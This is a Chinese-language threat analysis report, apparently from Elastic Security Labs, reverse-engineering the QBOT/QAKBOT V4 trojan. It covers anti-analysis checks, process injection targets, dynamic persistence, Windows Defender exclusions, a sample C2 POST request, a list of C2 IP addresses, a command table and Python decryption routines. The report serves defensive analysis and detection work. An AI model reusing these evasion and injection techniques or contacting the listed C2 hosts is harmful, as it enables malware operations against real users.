要点
- Elastic 安全实验室发布了一份关于最近一次活动中 QBOT 恶意软件的分析报告
- 本报告涵盖了从初始感染到与其命令和控制服务器通信的执行链,其中包含有关其注入机制和动态持久性机制等深入功能的详细信息。
- 根据这项研究,我们制作了YARA 规则、配置提取器和入侵指标 (IOC)
序言
作为我们构建有关针对机构和个人的最常见恶意软件家族知识的任务的一部分,Elastic 恶意软件和逆向工程团队 (MARE) 完成了对先前报告的活动中银行木马 QBOT/QAKBOT V4 核心组件的分析。
QBOT(也称为 QAKBOT)是一种自 2007 年以来一直活跃的模块化木马,用于在目标机器上下载和运行二进制文件。本文档详细描述了 QBOT V4 核心组件的逆向工程。它涵盖了二进制文件从启动到与其命令和控制 (C2) 服务器通信的执行流程。
QBOT 是一个多阶段、多进程二进制文件,具有逃避检测、提升权限、配置持久性和通过一组 IP 地址与 C2 通信的功能。C2 可以更新 QBOT、上传新的 IP 地址、上传和运行无文件二进制文件以及执行 shell 命令。
作为此分析的结果,MARE 基于 QBOT 的核心组件创建了新的 yara 规则,以及能够提取和解密其字符串、配置及其 C2 IP 地址列表的静态配置提取器。
有关 QBOT 配置提取器和恶意软件分析的信息,请查看我们详细介绍此内容的博客文章
执行流程
本节介绍 QBOT 的执行流程,分为以下三个阶段
- 第一阶段:初始化
- 第二阶段:安装
- 第三阶段:通信
第一阶段
该示例使用 regsvr32.exe 二进制文件执行,后者将调用 QBOT 的 DllRegisterServer 导出
执行后,QBOT 会检查是否在 Windows Defender 沙箱下运行,方法是检查是否存在名为 C:\INTERNAL\__empty 的特定子目录,如果此文件夹存在,则恶意软件会自行终止
然后,恶意软件将枚举正在运行的进程,以检测计算机上的任何防病毒 (AV) 产品。下图包含 QBOT 会做出反应的 AV 供应商列表
检测 AV 不会阻止 QBOT 运行。但是,它会在以后的阶段改变其行为。为了为其伪随机数生成器 (PRNG) 生成种子,QBOT 使用以下表达式生成计算机的指纹
**fingerprint = CRC32(computerName + CVolumeSerialNumber + AccountName)**
如果 “C:” 卷不存在,则改为使用以下表达式
**fingerprint = CRC32(computerName + AccountName)**
最后,QBOT 将根据先前检测到的 AV 和机器架构选择一组要注入的目标
| | | | -------------------------- | ------------------------------------------------------------------------------------------------------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------ | | 检测到的 AV 和架构 | 目标 | | BitDefender | Kaspersky | Sophos | TrendMicro | & x86 | %SystemRoot%\SysWOW64\mobsync.exe %SystemRoot%\SysWOW64\explorer.exe | | BitDefender | Kaspersky | Sophos | TrendMicro & x64 | %SystemRoot%\System32\mobsync.exe%SystemRoot%\explorer.exe%ProgramFiles%\Internet Explorer\iexplore.exe | | Avast | AVG | Windows Defender & x86 | %SystemRoot%\SysWOW64\OneDriveSetup.exe%SystemRoot%\SysWOW64\msra.exe%ProgramFiles(x86)%\Internet Explorer\iexplore.exe | | Avast | AVG | Windows Defender & x64 | %SystemRoot%\System32\OneDriveSetup.exe%SystemRoot%\System32\msra.exe | | x86 | '%SystemRoot%\explorer.exe%SystemRoot%\System32\msra.exe%SystemRoot%\System32\OneDriveSetup.exe | | x64 | %SystemRoot%\SysWOW64\explorer.exe%SystemRoot%\SysWOW64\msra.exe%SystemRoot%\System32\OneDriveSetup.exe |
QBOT 将尝试迭代注入自身,使用其第二阶段作为入口点,注入到其目标之一,如果注入失败,则选择下一个目标进程。下面是一个 QBOT 注入到 explorer.exe 的示例。
第二阶段
QBOT 通过将二进制文件的内容保存在内存中,然后破坏磁盘上的文件来开始其第二阶段
然后,恶意软件会从其资源部分之一加载其配置
如果进程根目录中存在 .cfg 文件,QBOT 也能够从中加载其配置
加载配置后,QBOT 会继续在计算机上安装自身,首先将其内部配置写入注册表
不久之后,QBOT 会在 %APPDATA%\Microsoft 目录下创建一个具有随机生成名称的持久性子目录。此文件夹用于放置内存中的 QBOT 二进制文件,以便在重新启动后保持持久性
此时,文件夹将为空,因为恶意软件仅在检测到关闭/重新启动事件时才会放置二进制文件。此“应急”二进制文件将在重新启动后删除。
QBOT 将尝试对所有用户执行相同的安装过程,并尝试在用户会话中执行恶意软件(如果存在),或者在 CurrentVersion\Run 注册表项下为目标用户创建一个值,以便在下次登录时启动恶意软件。我们的分析未能在一台更新的 Windows 10 机器上重现此行为。唯一观察到的工件是在用户 %APPDATA%\Microsoft 目录下创建的随机生成的持久性文件夹
QBOT 通过恢复其损坏的二进制文件的内容并通过 Schtask 注册一个任务,以便在 NT AUTHORITY\SYSTEM 帐户下启动 QBOT 服务来完成其第二阶段。
如果进程在 SYSTEM 帐户下运行,则第一阶段具有特殊的执行路径,它会注册一个服务处理程序。然后,QBOT 服务会像往常一样执行第 2 阶段和第 3 阶段,再次损坏二进制文件并通过通过随机生成的命名管道接收的消息代表其他 QBOT 进程执行命令
第三阶段
QBOT 通过注册窗口和控制台事件处理程序来监视挂起/恢复和关闭/重新启动事件来开始其第三阶段。监视这些事件使恶意软件能够通过在持久性文件夹中放置 QBOT 二进制文件的副本并在 CurrentVersion\Run 注册表项下创建一个值来动态安装持久性
重新启动时,QBOT 将负责删除任何持久性工件。
恶意软件将继续创建一个监视线程,每秒钟对照硬编码的二进制文件列表监视正在运行的进程。如果任何进程匹配,则会设置一个注册表值,该值会将 QBOT 的行为更改为使用随机生成的 IP 地址而不是实际的 IP 地址,从而永远不会到达其命令和控制服务器
frida-winjector-helper-32.exefriida-winjector-helper-64.exeTcpdump.exewindump.exeethereal.exewireshark.exeettercap.exertsniff.exepacketcapture.execapturenet.exeqak_proxy | dumpcap.exeCFF Explorer.exenot_rundll32.exeProcessHacker.exetcpview.exefilemon.exeprocmon.exeidaq64.exePETools.exeImportREC.exeLordPE.exe | SysInspector.exeproc_analyzer.exesysAnalyzer.exesniff_hit.exejoeboxcontrol.exejoeboxserver.exeResourceHacker.exex64dbg.exeFiddler.exesniff_hit.exesysAnalyzer.exe |
然后,QBOT 将从其 .rsrc 文件之一和注册表中加载其域,因为从其 C2 收到的每个域更新都将成为写入注册表的配置的一部分。请参阅附录 A 中的提取的网络基础设施。
最后,恶意软件开始通过 HTTP 和 TLS 与 C2 通信。底层协议使用封装在加密消息中的 JSON 对象,然后进行 base64 编码
下面是 QBOT 发送到其 C2 的 HTTP POST 请求的示例
Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 181.118.183.98
Content-Length: 77
Cache-Control: no-cache
qxlbjrbj=NnySaFAKLt+YgjH3UET8U6AUwT9Lg51z6zC+ufeAjt4amZAXkIyDup74MImUA4do4Q==
通过此通信通道,QBOT 接收来自 C2 的命令 - 请参阅附录 B(命令处理程序)。除了管理命令(更新、配置旋钮)之外,我们的样本仅处理与二进制执行相关的命令,但我们知道该恶意软件是模块化的,可以使用其他功能构建,例如 VNC 服务器、反向 shell 服务器、代理支持(成为域列表的一部分)以及许多其他可行功能。
功能
梅森旋转随机数生成器
QBOT 使用 梅森旋转随机数生成器 (MTRNG) 的实现来生成随机值。
MTRNG 引擎随后被各种函数使用来生成不同类型的数据,例如用于生成注册表键值和持久性文件夹。由于 QBOT 需要重现这些值,它几乎总是会使用计算机指纹和一个特定于它想要生成的值的“盐”。
字符串混淆
所有 QBOT 字符串都经过 XOR 加密,并连接成一个我们称之为“字符串库”的单个 blob。为了获取特定字符串,恶意软件需要一个字符串标识符(标识符是字符串库中的偏移量)、一个解密密钥和目标字符串库。
由于此样本有两个字符串库,因此它有四个 GetString 函数,这些函数柯里化了字符串库和解密密钥参数:每个字符串库一个 C 字符串函数和一个宽字符串函数。宽字符串函数使用相同的字符串库,但将数据转换为 utf-16。
请参阅附录 C(字符串解密实现)。
导入混淆
QBOT 使用哈希表解析其导入。
恶意软件通过其 GetString 函数解析库名称,然后通过手动解析经典库的导出项来解析哈希表,并将每个导出项与预期的哈希值进行比较。在此示例中,哈希比较算法使用此公式:
**CRC32(exportName) XOR 0x218fe95b == hash**
资源混淆
恶意软件嵌入了不同的资源,常见的资源是配置和域列表。资源以相同的方式加密:解密密钥可以嵌入在数据 blob 中,也可以提供。资源解密后,将使用嵌入的哈希值来检查数据有效性。
请参阅附录 D(资源解密实现)。
西里尔语键盘语言检测
在不同的阶段,QBOT 会检查计算机是否使用西里尔语键盘。如果使用,它将阻止进一步执行。
AVG/AVAST 特殊行为
AVG 和 Avast 共享相同的防病毒引擎。因此,如果 QBOT 检测到其中一个防病毒软件正在运行,它还会在安装阶段检查是否在恶意软件内存空间中加载了它们的 DLL 之一。如果是,QBOT 将跳过安装阶段。
Windows Defender 特殊行为
如果 QBOT 在 SYSTEM 帐户下运行,它会将其持久性文件夹添加到注册表中的 Windows Defender 排除路径。如果检测到旧版 Microsoft Security Essential (MSE) 排除路径,它也会执行此操作。
异常列表进程看门狗
每秒,QBOT 都会解析正在运行的进程,查找与硬编码异常列表匹配的进程。如果找到任何匹配项,则会在注册表中设置一个“熔断”值,并且看门狗停止。如果设置了此熔断值,QBOT 不会停止执行,但在第三阶段,恶意软件将使用随机生成的 IP,并且无法联系 C2。
![如果设置了熔断值,QBOT 使用随机生成的 IP 地址]/assets/images/qbot-malware-analysis/1qbot.png)
QBOT 进程注入
第二阶段注入
为了将其第二阶段注入到硬编码目标之一,QBOT 使用经典的 CreateProcess、WriteProcessMemory、ResumeProcess DLL 注入技术。恶意软件将创建一个进程,在进程内存中分配和写入 QBOT 二进制文件,写入其引擎的副本,并修补入口点以跳转到特殊函数。此函数在新进程环境中执行 QBOT 及其引擎的轻初始化,向主进程发出其成功的警报,然后执行第二阶段。
![QBOT 第二阶段注入]/assets/images/qbot-malware-analysis/2qbot.png)
![QBOT 注入入口点]/assets/images/qbot-malware-analysis/3qbot.jpg)
从命令和控制注入库
QBOT 使用上述方法注入从 C2 接收的库。不同之处在于,除了映射自身之外,恶意软件还将映射接收到的二进制文件,并使用库加载器作为入口点。
![QBOT DLL 加载器注入]/assets/images/qbot-malware-analysis/4qbot.jpg)
多用户安装
QBOT 安装过程的一部分是在其他用户的帐户中安装自身。为此,恶意软件会枚举机器上每个具有帐户的用户(本地和域),然后在用户的 Software\Microsoft 注册表项下转储其配置,在用户的 %APPDATA%\Microsoft 文件夹下创建持久性文件夹,最后尝试在用户会话存在的情况下启动 QBOT,否则创建运行键以便在用户登录时启动恶意软件。
动态持久性
QBOT 注册一个窗口处理程序来监视挂起/恢复事件。当这些事件发生时,恶意软件将安装/卸载持久性。
![QBOT 窗口处理程序注册]/assets/images/qbot-malware-analysis/7qbot.png)
![QBOT 窗口处理程序捕获挂起/恢复事件]/assets/images/qbot-malware-analysis/8qbot.png)
QBOT 还注册一个控制台事件来处理关机/重启事件。
命令和控制公钥绑定
QBOT 有一种机制来验证从其命令和控制收到的每条消息的签名。验证机制基于样本中嵌入的公钥。此公钥可用于识别样本所属的活动,但此机制可能并非总是存在。
![QBOT 命令和控制消息处理]/assets/images/qbot-malware-analysis/1qbot.png)
![使用硬编码的命令和控制公钥进行消息签名验证]/assets/images/qbot-malware-analysis/2qbot.png)
公钥来自硬编码的 XOR 加密数据 blob。
![正在进行 XOR 解密的硬编码命令和控制公钥]/assets/images/qbot-malware-analysis/3qbot.jpg)
计算机信息收集
QBOT 与其命令和控制通信的一部分是发送有关计算机的信息。通过一组 Windows API 调用、shell 命令和 Windows Management Instrumentation (WMI) 命令来收集信息。
![计算机信息收集 1/2]/assets/images/qbot-malware-analysis/4qbot.jpg)
一个特别有趣的程序通过 WMI 列出已安装的防病毒软件。
更新机制
QBOT 可以从其命令和控制接收更新。新的二进制文件将写入磁盘,通过命令行执行,主进程将终止。
![QBOT 写入磁盘并运行更新后的二进制文件]/assets/images/qbot-malware-analysis/7qbot.png)
![如果正在运行更新,QBOT 停止执行]/assets/images/qbot-malware-analysis/8qbot.png)
进程注入管理器
QBOT 有一个系统来跟踪注入了从其命令和控制接收的二进制文件的进程,以便在恶意软件接收后续命令时管理它们。它还可以在必须停止执行并在重新启动时恢复执行的情况下,将这些二进制文件序列化并保存到磁盘上。
为了进行此簿记,QBOT 维护两个全局结构 — 从其命令和控制接收的所有二进制文件的列表,以及正在运行的注入进程的列表。
结论
由于其功能和强大的模块化系统,QBOT 恶意软件家族非常活跃,并且仍然是 2022 年威胁形势的一部分。虽然最初在 2007 年被定性为信息窃取者,但该家族已被用作其他恶意软件和后渗透活动的传递机制。
Elastic Security 提供了针对此威胁的开箱即用型预防功能。现有的 Elastic Security 用户可以在产品中访问这些功能。如果您是 Elastic Security 的新手,请查看我们的快速入门指南(快速入门的简短培训视频)或我们的免费基础培训课程。您可以随时开始免费试用 Elastic Cloud 14 天。
MITRE ATT&CK 战术和技术
MITRE ATT&CK 是一个全球可访问的基于真实世界观察的对抗战术和技术知识库。ATT&CK 知识库被用作私营部门、政府以及网络安全产品和服务社区中开发特定威胁模型和方法的基础。
战术
战术代表技术或子技术的原因。它是对手的战术目标:执行行动的原因。
技术 / 子技术
技术和子技术代表对手如何通过执行操作来实现战术目标。
- 技术:进程注入 (T1055)
- 技术:修改注册表 (T1112)
- 技术:混淆的文件或信息 (T1027)
- 技术:混淆的文件或信息:从工具中删除指示器 (T1027.005)
- 技术:系统二进制代理执行:Regsvr32 (T1218.010)
技术:应用程序窗口发现 (T1010) - 技术:文件和目录发现 (T1083)
- 技术:系统信息发现 (T1082)
- 技术:系统位置发现 (T1614)
- 技术:软件发现:安全软件发现 (T1518.001)
- 技术:系统所有者/用户发现 (T1033)
- 技术:应用层协议:Web 协议 (T1071.001)
观察
虽然不够具体,无法被视为入侵指标,但在分析过程中观察到以下信息,这些信息可以在调查可疑事件时提供帮助。
文件系统
持久性文件夹
**%APPDATA%\Microsoft\[Random Folder]**
示例
**C:\Users\Arx\AppData\Roaming\Microsoft\Vuhys**
注册表
扫描排除
**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\[Persistence Folder]**
示例
**HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Arx\AppData\Roaming\Microsoft\Blqgeaf**
配置
配置
**HKU\[User SID]\Software\Microsoft\[Random Key]\[Random Value 0]**
示例
**HKU\S-1-5-21-2844492762-1358964462-3296191067-1000\Software\Microsoft\Silhmfua\28e2a7e8**
附录
附录 A(提取的网络基础设施)
1.161.71.109:4431.161.71.109:995100.1.108.246:443101.50.103.193:995102.182.232.3:995103.107.113.120:443103.139.243.207:990103.246.242.202:443103.87.95.133:2222103.88.226.30:443105.226.83.196:995108.60.213.141:443109.12.111.14:443109.228.220.196:443113.11.89.165:995117.248.109.38:21120.150.218.241:995120.61.2.95:443121.74.167.191:995125.168.47.127:2222138.204.24.70:443140.82.49.12:443140.82.63.183:443140.82.63.183:995143.0.34.185:443144.202.2.175:443144.202.2.175:995144.202.3.39:443144.202.3.39:995148.64.96.100:443149.28.238.199:443149.28.238.199:995172.114.160.81:995172.115.177.204:2222173.174.216.62:443173.21.10.71:2222174.69.215.101:443175.145.235.37:443176.205.119.81:2078176.67.56.94:443176.88.238.122:995179.158.105.44:443180.129.102.214:995180.183.128.80:2222181.118.183.98:443181.208.248.227:443181.62.0.59:443182.191.92.203:995182.253.189.74:2222185.69.144.209:443 | 186.105.121.166:443187.102.135.142:2222187.207.48.194:61202187.250.114.15:443187.251.132.144:22190.252.242.69:443190.73.3.148:2222191.17.223.93:32101191.34.199.129:443191.99.191.28:443196.233.79.3:80197.167.62.14:993197.205.127.234:443197.89.108.252:4432.50.137.197:443201.145.189.252:443201.211.64.196:2222202.134.152.2:2222203.122.46.130:443208.107.221.224:443209.197.176.40:995217.128.122.65:2222217.164.210.192:443217.165.147.83:99324.178.196.158:222224.43.99.75:44331.35.28.29:44331.48.166.122:207832.221.224.140:99537.186.54.254:99537.34.253.233:44338.70.253.226:222239.41.158.185:99539.44.144.159:99539.52.75.201:99539.57.76.82:99540.134.246.185:99541.228.22.180:44341.230.62.211:99341.38.167.179:99541.84.237.10:99542.235.146.7:222245.241.232.25:99545.46.53.140:222245.63.1.12:44345.63.1.12:99545.76.167.26:44345.76.167.26:99545.9.20.200:44346.107.48.202:443 | 47.156.191.217:44347.180.172.159:44347.180.172.159:5001047.23.89.62:99347.23.89.62:9955.32.41.45:4435.95.58.211:208766.98.42.102:44367.209.195.198:44368.204.7.158:44370.46.220.114:44370.51.138.126:222271.13.93.154:222271.74.12.34:44372.12.115.90:2272.252.201.34:99572.76.94.99:44373.151.236.31:44373.67.152.98:222274.15.2.252:222275.113.214.234:222275.99.168.194:44375.99.168.194:6120176.169.147.192:3210376.25.142.196:44376.69.155.202:222276.70.9.169:222278.87.206.213:99580.11.74.81:222281.215.196.174:44382.152.39.39:44383.110.75.97:222284.241.8.23:3210385.246.82.244:44386.97.11.43:44386.98.208.214:222286.98.33.141:44386.98.33.141:99588.228.250.126:44389.211.181.64:222290.120.65.153:207891.177.173.10:99592.132.172.197:222293.48.80.198:99594.36.195.250:222294.59.138.62:119494.59.138.62:222296.21.251.127:222296.29.208.97:44396.37.113.36:993 |
附录 B(命令处理程序)
Id | 处理程序 |
---|---|
0x1 | MARE::rpc::handler::CommunicateWithC2 |
0x6 | MARE::rpc::handler::EnableGlobalRegistryConfigurationValuek0x14 |
0x7 | MARE::rpc::handler::禁用全局注册表配置值k0x14 |
0xa | MARE::rpc::handler::杀死进程 |
0xc | MARE::rpc::handler::设置多个全局注册表配置值并触发事件1 |
0xd | MARE::rpc::handler::设置多个全局注册表配置值并触发事件0 |
0xe | MARE::rpc::handler::执行规避动作 |
0x12 | MARE::rpc::handler::未实现 |
0x13 | MARE::rpc::handler::上传并运行更新的QBOT0 |
0x14 | MARE::rpc::handler::Unk0 |
0x15 | MARE::rpc::handler::Unk1 |
0x19 | MARE::rpc::handler::上传并执行二进制文件 |
0x1A | MARE::rpc::handler::上传并注入DLL0 |
0x1B | MARE::rpc::handler::通过字符串执行从DLL到注入目标的注入 |
0x1C | MARE::rpc::handler::杀死注入的进程并禁用要注入的DLL |
0x1D | MARE::rpc::handler::Unk3 |
0x1E | MARE::rpc::handler::杀死注入的进程并再次通过字符串执行注入 |
0x1F | MARE::rpc::handler::快速注入DLL |
0x21 | MARE::rpc::handler::执行Shell命令 |
0x23 | MARE::rpc::handler::上传并注入DLL1 |
0x24 | MARE::rpc::handler::上传并运行更新的QBOT1 |
0x25 | MARE::rpc::handler::设置全局注册表配置的值 |
0x26 | MARE::rpc::handler::从全局注册表配置中删除值 |
0x27 | MARE::rpc::handler::执行PowerShell命令 |
0x28 | MARE::rpc::handler::上传并使用Regsvr32运行DLL |
0x29 | MARE::rpc::handler::上传并使用Rundll32运行DLL |
附录 C(字符串解密实现)
def decipher_strings(data: bytes, key: bytes) -> bytes:
result = dict()
current_index = 0
current_string = list()
for i in range(len(data)):
current_string.append(data[i] ^ key[i % len(key)])
if data[i] == key[i % len(key)]:
result[current_index] = bytes(current_string)
current_string = list()
current_index = i + 1
return result
附录 D(资源解密实现)
from Crypto.Cipher import ARC4
from Crypto.Hash import SHA1
def decipher_data(data: bytes, key: bytes) -> tuple[bytes, bytes]:
data = ARC4.ARC4Cipher(SHA1.SHA1Hash(key).digest()).decrypt(data)
return data[20:], data[:20]
def verify_hash(data: bytes, expected_hash: bytes) -> bool:
return SHA1.SHA1Hash(data).digest() == expected_hash
def decipher_rsrc(rsrc: bytes, key: bytes) -> bytes:
deciphered_rsrc, expected_hash = decipher_data(rsrc[20:], rsrc[:20])
if not verify_hash(deciphered_rsrc, expected_hash):
deciphered_rsrc, expected_hash = decipher_data(rsrc, key)
if not verify_hash(deciphered_rsrc, expected_hash):
raise RuntimeError('Failed to decipher rsrc: Mismatching hashes.')
return deciphered_rsrc